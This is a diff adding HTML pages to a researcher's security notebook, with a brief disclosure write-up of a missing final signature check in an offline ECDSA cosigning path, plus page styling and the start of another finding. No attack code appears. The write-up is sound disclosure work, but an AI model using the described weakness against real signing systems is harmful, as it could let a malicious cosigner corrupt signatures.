| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/06-alloca-stack-overflow-range-proofs-P3.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,220 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Finding 07: Missing Signature Verification in Offline ECDSA | Zion Boggan</title> | |
| + | <meta name="description" content="Offline-ECDSA path accepts unverified signature shares."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/07-offline-ecdsa-no-sig-verify-P3/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Finding 07: Missing Signature Verification in Offline ECDSA | Zion Boggan"> | |
| + | <meta property="og:description" content="Offline-ECDSA path accepts unverified signature shares."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/07-offline-ecdsa-no-sig-verify-P3/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Finding 07: Missing Signature Verification in Offline ECDSA | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Offline-ECDSA path accepts unverified signature shares."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Finding 07: Missing Signature Verification in Offline ECDSA","description":"Offline-ECDSA path accepts unverified signature shares.","url":"https://zionboggan.com/security-research-notebook/07-offline-ecdsa-no-sig-verify-P3/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Crypto soundness</div> | |
| + | <h1>Finding 07: Missing Signature Verification in Offline ECDSA</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P3 (Medium), Invalid signatures returned silently</h2> | |
| + | <h2>Summary</h2> | |
| + | <p>The offline ECDSA signing path combines partial signatures but does NOT verify the final result. A malicious cosigner can submit a corrupted partial <code>s_i</code> producing an invalid combined signature returned without error. The online path explicitly calls <code>GFp_curve_algebra_verify_signature()</code> before returning.</p> | |
| + | <h2>Location</h2> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>src/common/cosigner/cmp_ecdsa_offline_signing_service.cpp</code>, lines 425-447</li> | |
| + | <li><strong>Missing:</strong> Final signature verification (present in online path at <code>cmp_ecdsa_online_signing_service.cpp:483</code>)</li> | |
| + | </ul> | |
| + | <h2>Remediation</h2> | |
| + | <p>Add <code>algebra->verify()</code> call after signature combination in the offline path.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/07-offline-ecdsa-no-sig-verify-P3.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,225 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Finding 08: Asymmetric EdDSA Uses Unsalted Commitment | Zion Boggan</title> | |
| + | <meta name="description" content="EdDSA commitment uses unsalted SHA-256, enabling rainbow-table-style precomputation against fixed nonce structures."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
